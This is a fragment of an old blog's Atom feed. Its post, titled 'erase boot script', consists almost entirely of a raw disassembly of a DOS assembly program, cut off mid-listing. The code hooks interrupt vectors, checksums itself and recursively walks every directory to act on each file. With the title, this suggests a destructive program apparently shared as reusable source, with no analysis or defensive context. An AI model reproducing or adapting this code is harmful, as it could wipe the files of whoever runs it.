type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856780884681696'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856780884681696'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/2006/09/dropsy-source-code.html' title='dropsy source code'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34599328.post-115856734696779666</id><published>2006-09-18T14:55:00.000+07:00</published><updated>2006-09-18T15:15:47.140+07:00</updated><title type='text'>erase boot script</title><content type='html'>DATA_1E        EQU    74H            ; (0000:0074=0A4H)&lt;br /&gt;DATA_2E        EQU    78H            ; (0000:0078=22H)&lt;br /&gt;DATA_3E        EQU    7CH            ; (0000:007C=0)&lt;br /&gt;DATA_4E        EQU    80H            ; (0000:0080=0F5H)&lt;br /&gt;DATA_5E        EQU    84H            ; (0000:0084=9CEH)&lt;br /&gt;DATA_6E        EQU    86H            ; (0000:0086=13C7H)&lt;br /&gt;DATA_7E        EQU    88H            ; (0000:0088=723H)&lt;br /&gt;DATA_8E        EQU    8AH            ; (0000:008A=23EAH)&lt;br /&gt;DATA_9E        EQU    8CH            ; (0000:008C=0A70H)&lt;br /&gt;DATA_10E    EQU    8EH            ; (0000:008E=23EAH)&lt;br /&gt;DATA_11E    EQU    94H            ; (0000:0094=192FH)&lt;br /&gt;DATA_12E    EQU    98H            ; (0000:0098=198CH)&lt;br /&gt;DATA_13E    EQU    9AH            ; (0000:009A=27DH)&lt;br /&gt;DATA_14E    EQU    9EH            ; (0000:009E=27DH)&lt;br /&gt;DATA_15E    EQU    232H            ; (0000:0232=0)&lt;br /&gt;DATA_16E    EQU    234H            ; (0000:0234=0)&lt;br /&gt;DATA_17E    EQU    236H            ; (0000:0236=0)&lt;br /&gt;DATA_18E    EQU    23CH            ; (0000:023C=0)&lt;br /&gt;DATA_19E    EQU    458H            ; (0000:0458=0)&lt;br /&gt;DATA_20E    EQU    45AH            ; (0000:045A=0)&lt;br /&gt;DATA_21E    EQU    464H            ; (0000:0464=2903H)&lt;br /&gt;DATA_22E    EQU    4A4H            ; (0000:04A4=0)&lt;br /&gt;DATA_23E    EQU    4A6H            ; (0000:04A6=0)&lt;br /&gt;DATA_24E    EQU    4A8H            ; (0000:04A8=0)&lt;br /&gt;DATA_25E    EQU    2            ; (7FC4:0002=0)&lt;br /&gt;DATA_26E    EQU    2CH            ; (7FC4:002C=0)&lt;br /&gt;DATA_27E    EQU    94H            ; (7FC4:0094=0)&lt;br /&gt;DATA_28E    EQU    9EH            ; (7FC4:009E=0)&lt;br /&gt;DATA_29E    EQU    1D6H            ; (7FC4:01D6=0CD57H)&lt;br /&gt;DATA_30E    EQU    1D8H            ; (7FC4:01D8=21H)&lt;br /&gt;DATA_31E    EQU    232H            ; (7FC4:0232=2FB9H)&lt;br /&gt;DATA_32E    EQU    37EH            ; (7FC4:037E=50FFH)&lt;br /&gt;DATA_33E    EQU    3A6H            ; (7FC4:03A6=8D50H)&lt;br /&gt;DATA_34E    EQU    3A8H            ; (7FC4:03A8=0AE46H)&lt;br /&gt;DATA_35E    EQU    4A4H            ; (7FC4:04A4=0AC26H)&lt;br /&gt;DATA_36E    EQU    4A6H            ; (7FC4:04A6=8C40H)&lt;br /&gt;DATA_37E    EQU    4A8H            ; (7FC4:04A8=87C5H)&lt;br /&gt;DATA_123E    EQU    0FF67H            ; (8134:FF67=0)&lt;br /&gt;DATA_124E    EQU    0FF70H            ; (8134:FF70=0)&lt;br /&gt;DATA_126E    EQU    0FF6AH            ; (817F:FF6A=0)&lt;br /&gt;DATA_127E    EQU    0FF6CH            ; (817F:FF6C=0)&lt;br /&gt;DATA_128E    EQU    0FF6EH            ; (817F:FF6E=0)&lt;br /&gt;DATA_129E    EQU    0FF6FH            ; (817F:FF6F=0)&lt;br /&gt;DATA_130E    EQU    0FF70H            ; (817F:FF70=0)&lt;br /&gt;DATA_131E    EQU    0FF72H            ; (817F:FF72=0)&lt;br /&gt;DATA_132E    EQU    0FF75H            ; (817F:FF75=0)&lt;br /&gt;DATA_133E    EQU    0FF76H            ; (817F:FF76=0)&lt;br /&gt;DATA_134E    EQU    0FF78H            ; (817F:FF78=0)&lt;br /&gt;DATA_135E    EQU    0FF7BH            ; (817F:FF7B=0)&lt;br /&gt;DATA_136E    EQU    0FF7CH            ; (817F:FF7C=0)&lt;br /&gt; &lt;br /&gt;;--------------------------------------------------------------    SEG_A  ----&lt;br /&gt; &lt;br /&gt;SEG_A        SEGMENT    PARA PUBLIC&lt;br /&gt;        ASSUME CS:SEG_A , DS:SEG_A , SS:STACK_SEG_C&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_1        PROC    NEAR&lt;br /&gt;SUB_1        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ&lt;br /&gt;;&lt;br /&gt;;            PROGRAM ENTRY POINT&lt;br /&gt;;&lt;br /&gt;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;MAXIHD        PROC    FAR&lt;br /&gt; &lt;br /&gt;start:&lt;br /&gt;        MOV    DX,SEG SEG_B&lt;br /&gt;        MOV    CS:DATA_38,DX        ; (7FD4:01F8=0)&lt;br /&gt;        MOV    AH,30H            ; '0'&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 30h&lt;br /&gt;                        ;  get DOS version number ax&lt;br /&gt;        MOV    BP,DS:DATA_25E        ; (7FC4:0002=0)&lt;br /&gt;        MOV    BX,DS:DATA_26E        ; (7FC4:002C=0)&lt;br /&gt;        MOV    DS,DX&lt;br /&gt;        assume    ds:SEG_B&lt;br /&gt;        MOV    DATA_77,AX        ; (8134:0092=0)&lt;br /&gt;        MOV    DATA_76,ES        ; (8134:0090=0)&lt;br /&gt;        MOV    WORD PTR DATA_73+2,BX    ; (8134:008C=0)&lt;br /&gt;        MOV    DATA_84,BP        ; (8134:00AC=0)&lt;br /&gt;        MOV    DATA_79,0FFFFH        ; (8134:0096=0)&lt;br /&gt;        CALL    SUB_3            ; (0162)&lt;br /&gt;        LES    DI,DATA_73        ; (8134:008A=0) Load 32 bit ptr&lt;br /&gt;        MOV    AX,DI&lt;br /&gt;        MOV    BX,AX&lt;br /&gt;        MOV    CX,7FFFH&lt;br /&gt;LOC_2:&lt;br /&gt;        CMP    WORD PTR ES:[DI],3738H&lt;br /&gt;        JNE    LOC_3            ; Jump if not equal&lt;br /&gt;        MOV    DX,ES:[DI+2]&lt;br /&gt;        CMP    DL,3DH            ; '='&lt;br /&gt;        JNE    LOC_3            ; Jump if not equal&lt;br /&gt;        AND    DH,0DFH&lt;br /&gt;        INC    DATA_79            ; (8134:0096=0)&lt;br /&gt;        CMP    DH,59H            ; 'Y'&lt;br /&gt;        JNE    LOC_3            ; Jump if not equal&lt;br /&gt;        INC    DATA_79            ; (8134:0096=0)&lt;br /&gt;LOC_3:&lt;br /&gt;        REPNE    SCASB            ; Rept zf=0+cx&gt;0 Scan es:[di] for al&lt;br /&gt;        JCXZ    LOC_6            ; Jump if cx=0&lt;br /&gt;        INC    BX&lt;br /&gt;        CMP    ES:[DI],AL&lt;br /&gt;        JNE    LOC_2            ; Jump if not equal&lt;br /&gt;        OR    CH,80H&lt;br /&gt;        NEG    CX&lt;br /&gt;        MOV    WORD PTR DATA_73,CX    ; (8134:008A=0)&lt;br /&gt;        MOV    CX,1&lt;br /&gt;        SHL    BX,CL            ; Shift w/zeros fill&lt;br /&gt;        ADD    BX,8&lt;br /&gt;        AND    BX,0FFF8H&lt;br /&gt;        MOV    DATA_75,BX        ; (8134:008E=0)&lt;br /&gt;        MOV    DX,DS&lt;br /&gt;        SUB    BP,DX&lt;br /&gt;        MOV    DI,DATA_89        ; (8134:023A=1000H)&lt;br /&gt;        CMP    DI,200H&lt;br /&gt;        JAE    LOC_4            ; Jump if above or =&lt;br /&gt;        MOV    DI,200H&lt;br /&gt;        MOV    DATA_89,DI        ; (8134:023A=1000H)&lt;br /&gt;LOC_4:&lt;br /&gt;        ADD    DI,4AAH&lt;br /&gt;        JC    LOC_6            ; Jump if carry Set&lt;br /&gt;        ADD    DI,DATA_88        ; (8134:0238=0)&lt;br /&gt;        JC    LOC_6            ; Jump if carry Set&lt;br /&gt;        MOV    CL,4&lt;br /&gt;        SHR    DI,CL            ; Shift w/zeros fill&lt;br /&gt;        INC    DI&lt;br /&gt;        CMP    BP,DI&lt;br /&gt;        JB    LOC_6            ; Jump if below&lt;br /&gt;        CMP    DATA_89,0        ; (8134:023A=1000H)&lt;br /&gt;        JE    LOC_5            ; Jump if equal&lt;br /&gt;        CMP    DATA_88,0        ; (8134:0238=0)&lt;br /&gt;        JNE    LOC_7            ; Jump if not equal&lt;br /&gt;LOC_5:&lt;br /&gt;        MOV    DI,1000H&lt;br /&gt;        CMP    BP,DI&lt;br /&gt;        JA    LOC_7            ; Jump if above&lt;br /&gt;        MOV    DI,BP&lt;br /&gt;        JMP    SHORT LOC_7        ; (00C1)&lt;br /&gt;LOC_6:&lt;br /&gt;        JMP    LOC_10            ; (01E2)&lt;br /&gt;LOC_7:&lt;br /&gt;        MOV    BX,DI&lt;br /&gt;        ADD    BX,DX&lt;br /&gt;        MOV    DATA_82,BX        ; (8134:00A4=0)&lt;br /&gt;        MOV    DATA_83,BX        ; (8134:00A8=0)&lt;br /&gt;        MOV    AX,DATA_76        ; (8134:0090=0)&lt;br /&gt;        SUB    BX,AX&lt;br /&gt;        MOV    ES,AX&lt;br /&gt;        MOV    AH,4AH            ; 'J'&lt;br /&gt;        PUSH    DI&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 4Ah&lt;br /&gt;                        ;  change mem allocation, bx=siz&lt;br /&gt;        POP    DI&lt;br /&gt;        SHL    DI,CL            ; Shift w/zeros fill&lt;br /&gt;        CLI                ; Disable interrupts&lt;br /&gt;        MOV    SS,DX&lt;br /&gt;        MOV    SP,DI&lt;br /&gt;        STI                ; Enable interrupts&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        MOV    ES,CS:DATA_38        ; (7FD4:01F8=0)&lt;br /&gt;        MOV    DI,464H&lt;br /&gt;        MOV    CX,4AAH&lt;br /&gt;        SUB    CX,DI&lt;br /&gt;        REP    STOSB            ; Rep while cx&gt;0 Store al to es:[di]&lt;br /&gt;        PUSH    CS&lt;br /&gt;        CALL    WORD PTR DATA_117    ; (8134:0456=1D2H)&lt;br /&gt;        CALL    SUB_12            ; (0390)&lt;br /&gt;        CALL    SUB_14            ; (047B)&lt;br /&gt;        MOV    AH,0&lt;br /&gt;        INT    1AH            ; Real time clock   ah=func 00h&lt;br /&gt;                        ;  get system timer count cx,dx&lt;br /&gt;        MOV    DS:DATA_12E,DX        ; (0000:0098=198CH)&lt;br /&gt;        MOV    DS:DATA_13E,CX        ; (0000:009A=27DH)&lt;br /&gt;        CALL    WORD PTR DS:DATA_20E    ; (0000:045A=0)&lt;br /&gt;        PUSH    WORD PTR DS:DATA_7E    ; (0000:0088=723H)&lt;br /&gt;        PUSH    WORD PTR DS:DATA_6E    ; (0000:0086=13C7H)&lt;br /&gt;        PUSH    WORD PTR DS:DATA_5E    ; (0000:0084=9CEH)&lt;br /&gt;        CALL    SUB_6            ; (01FA)&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_11            ; (035B)&lt;br /&gt; &lt;br /&gt;MAXIHD        ENDP&lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_2        PROC    NEAR&lt;br /&gt;        MOV    DS,CS:DATA_38        ; (7FD4:01F8=0)&lt;br /&gt;        CALL    SUB_4            ; (01A5)&lt;br /&gt;        PUSH    CS&lt;br /&gt;        CALL    WORD PTR DS:DATA_19E    ; (0000:0458=0)&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        MOV    SI,AX&lt;br /&gt;        MOV    CX,2FH&lt;br /&gt;        NOP&lt;br /&gt;        CLD                ; Clear direction&lt;br /&gt; &lt;br /&gt;LOCLOOP_8:&lt;br /&gt;        ADD    AL,[SI]&lt;br /&gt;        ADC    AH,0&lt;br /&gt;        INC    SI&lt;br /&gt;        LOOP    LOCLOOP_8        ; Loop if cx &gt; 0&lt;br /&gt; &lt;br /&gt;        SUB    AX,0D37H&lt;br /&gt;        NOP&lt;br /&gt;        JZ    LOC_9            ; Jump if zero&lt;br /&gt;        MOV    CX,19H&lt;br /&gt;        NOP&lt;br /&gt;        MOV    DX,2FH&lt;br /&gt;        CALL    SUB_5            ; (01DA)&lt;br /&gt;LOC_9:&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        MOV    AH,4CH            ; 'L'&lt;br /&gt;        MOV    AL,[BP+2]&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 4Ch&lt;br /&gt;                        ;  terminate with al=return code&lt;br /&gt;SUB_2        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ&lt;br /&gt;;&lt;br /&gt;;            External Entry Point&lt;br /&gt;;&lt;br /&gt;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ&lt;br /&gt; &lt;br /&gt;INT_00H_ENTRY    PROC    FAR&lt;br /&gt;        MOV    CX,0EH&lt;br /&gt;        NOP&lt;br /&gt;        MOV    DX,48H&lt;br /&gt;        JMP    LOC_11            ; (01E9)&lt;br /&gt;INT_00H_ENTRY    ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_3        PROC    NEAR&lt;br /&gt;        PUSH    DS&lt;br /&gt;        MOV    AX,3500H&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 35h&lt;br /&gt;                        ;  get intrpt vector al in es:bx&lt;br /&gt;        MOV    DATA_65,BX        ; (8134:0074=0)&lt;br /&gt;        MOV    DATA_66,ES        ; (8134:0076=0)&lt;br /&gt;        MOV    AX,3504H&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 35h&lt;br /&gt;                        ;  get intrpt vector al in es:bx&lt;br /&gt;        MOV    DATA_67,BX        ; (8134:0078=0)&lt;br /&gt;        MOV    DATA_68,ES        ; (8134:007A=0)&lt;br /&gt;        MOV    AX,3505H&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 35h&lt;br /&gt;                        ;  get intrpt vector al in es:bx&lt;br /&gt;        MOV    DATA_69,BX        ; (8134:007C=0)&lt;br /&gt;        MOV    DATA_70,ES        ; (8134:007E=0)&lt;br /&gt;        MOV    AX,3506H&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 35h&lt;br /&gt;                        ;  get intrpt vector al in es:bx&lt;br /&gt;        MOV    DATA_71,BX        ; (8134:0080=0)&lt;br /&gt;        MOV    DATA_72,ES        ; (8134:0082=0)&lt;br /&gt;        MOV    AX,2500H&lt;br /&gt;        MOV    DX,CS&lt;br /&gt;        MOV    DS,DX&lt;br /&gt;        MOV    DX,158H&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 25h&lt;br /&gt;                        ;  set intrpt vector al to ds:dx&lt;br /&gt;        POP    DS&lt;br /&gt;        RETN&lt;br /&gt;SUB_3        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_4        PROC    NEAR&lt;br /&gt;        PUSH    DS&lt;br /&gt;        MOV    AX,2500H&lt;br /&gt;        LDS    DX,DWORD PTR DS:DATA_1E    ; (0000:0074=0F0A4H) Load 32 bit ptr&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 25h&lt;br /&gt;                        ;  set intrpt vector al to ds:dx&lt;br /&gt;        POP    DS&lt;br /&gt;        PUSH    DS&lt;br /&gt;        MOV    AX,2504H&lt;br /&gt;        LDS    DX,DWORD PTR DS:DATA_2E    ; (0000:0078=522H) Load 32 bit ptr&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 25h&lt;br /&gt;                        ;  set intrpt vector al to ds:dx&lt;br /&gt;        POP    DS&lt;br /&gt;        PUSH    DS&lt;br /&gt;        MOV    AX,2505H&lt;br /&gt;        LDS    DX,DWORD PTR DS:DATA_3E    ; (0000:007C=0) Load 32 bit ptr&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 25h&lt;br /&gt;                        ;  set intrpt vector al to ds:dx&lt;br /&gt;        POP    DS&lt;br /&gt;        PUSH    DS&lt;br /&gt;        MOV    AX,2506H&lt;br /&gt;        LDS    DX,DWORD PTR DS:DATA_4E    ; (0000:0080=16F5H) Load 32 bit ptr&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 25h&lt;br /&gt;                        ;  set intrpt vector al to ds:dx&lt;br /&gt;        POP    DS&lt;br /&gt;        RETN&lt;br /&gt;SUB_4        ENDP&lt;br /&gt; &lt;br /&gt;        DB    0C7H, 6, 96H, 0, 0, 0&lt;br /&gt;        DB    0CBH, 0C3H&lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_5        PROC    NEAR&lt;br /&gt;        MOV    AH,40H            ; '@'&lt;br /&gt;        MOV    BX,2&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 40h&lt;br /&gt;                        ;  write file cx=bytes, to ds:dx&lt;br /&gt;        RETN&lt;br /&gt;SUB_5        ENDP&lt;br /&gt; &lt;br /&gt;LOC_10:&lt;br /&gt;        MOV    CX,1EH&lt;br /&gt;        NOP&lt;br /&gt;        MOV    DX,56H&lt;br /&gt;LOC_11:&lt;br /&gt;        MOV    DS,CS:DATA_38        ; (7FD4:01F8=0)&lt;br /&gt;        CALL    SUB_5            ; (01DA)&lt;br /&gt;        MOV    AX,3&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_2            ; (0121)&lt;br /&gt;DATA_38        DW    0&lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_6        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        MOV    AX,194H&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_8            ; (0290)&lt;br /&gt;        POP    CX&lt;br /&gt;        MOV    AX,194H&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_7            ; (0212)&lt;br /&gt;        POP    CX&lt;br /&gt;        CALL    SUB_9            ; (02F5)&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_6        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_7        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        SUB    SP,0AEH&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    DI,[BP+4]&lt;br /&gt;        PUSH    DI&lt;br /&gt;        CALL    SUB_8            ; (0290)&lt;br /&gt;        POP    CX&lt;br /&gt;        MOV    AX,19BH&lt;br /&gt;        PUSH    AX&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    AX,195H&lt;br /&gt;        PUSH    AX&lt;br /&gt;        LEA    AX,[BP-82H]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_51            ; (1571)&lt;br /&gt;        ADD    SP,8&lt;br /&gt;        MOV    AX,10H&lt;br /&gt;        PUSH    AX&lt;br /&gt;        LEA    AX,[BP-0AEH]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        LEA    AX,[BP-82H]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_49            ; (150B)&lt;br /&gt;        ADD    SP,6&lt;br /&gt;        MOV    SI,AX&lt;br /&gt;        JMP    SHORT LOC_14        ; (0286)&lt;br /&gt;LOC_12:&lt;br /&gt;        CMP    BYTE PTR SS:DATA_124E[BP],2EH    ; (8134:FF70=0) '.'&lt;br /&gt;        JE    LOC_13            ; Jump if equal&lt;br /&gt;        TEST    BYTE PTR SS:DATA_123E[BP],10H    ; (8134:FF67=0)&lt;br /&gt;        JZ    LOC_13            ; Jump if zero&lt;br /&gt;        LEA    AX,[BP-90H]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    AX,195H&lt;br /&gt;        PUSH    AX&lt;br /&gt;        LEA    AX,[BP-82H]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_51            ; (1571)&lt;br /&gt;        ADD    SP,8&lt;br /&gt;        LEA    AX,[BP-82H]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_7            ; (0212)&lt;br /&gt;        POP    CX&lt;br /&gt;LOC_13:&lt;br /&gt;        LEA    AX,[BP-0AEH]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_50            ; (152D)&lt;br /&gt;        POP    CX&lt;br /&gt;        MOV    SI,AX&lt;br /&gt;LOC_14:&lt;br /&gt;        OR    SI,SI            ; Zero ?&lt;br /&gt;        JZ    LOC_12            ; Jump if zero&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        MOV    SP,BP&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_7        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_8        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        SUB    SP,7EH&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    WORD PTR [BP+4]&lt;br /&gt;        LEA    AX,[BP-52H]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_33            ; (0B88)&lt;br /&gt;        POP    CX&lt;br /&gt;        POP    CX&lt;br /&gt;        MOV    AX,19FH&lt;br /&gt;        PUSH    AX&lt;br /&gt;        LEA    AX,[BP-52H]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_32            ; (0B4C)&lt;br /&gt;        POP    CX&lt;br /&gt;        POP    CX&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        PUSH    AX&lt;br /&gt;        LEA    AX,[BP-7EH]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        LEA    AX,[BP-52H]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_49            ; (150B)&lt;br /&gt;        ADD    SP,6&lt;br /&gt;        MOV    SI,AX&lt;br /&gt;        JMP    SHORT LOC_16        ; (02EC)&lt;br /&gt;LOC_15:&lt;br /&gt;        LEA    AX,[BP-60H]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        PUSH    WORD PTR [BP+4]&lt;br /&gt;        MOV    AX,195H&lt;br /&gt;        PUSH    AX&lt;br /&gt;        LEA    AX,[BP-52H]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_51            ; (1571)&lt;br /&gt;        ADD    SP,8&lt;br /&gt;        LEA    AX,[BP-52H]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_31            ; (0B34)&lt;br /&gt;        POP    CX&lt;br /&gt;        LEA    AX,[BP-7EH]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_50            ; (152D)&lt;br /&gt;        POP    CX&lt;br /&gt;        MOV    SI,AX&lt;br /&gt;LOC_16:&lt;br /&gt;        OR    SI,SI            ; Zero ?&lt;br /&gt;        JZ    LOC_15            ; Jump if zero&lt;br /&gt;        POP    SI&lt;br /&gt;        MOV    SP,BP&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_8        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br 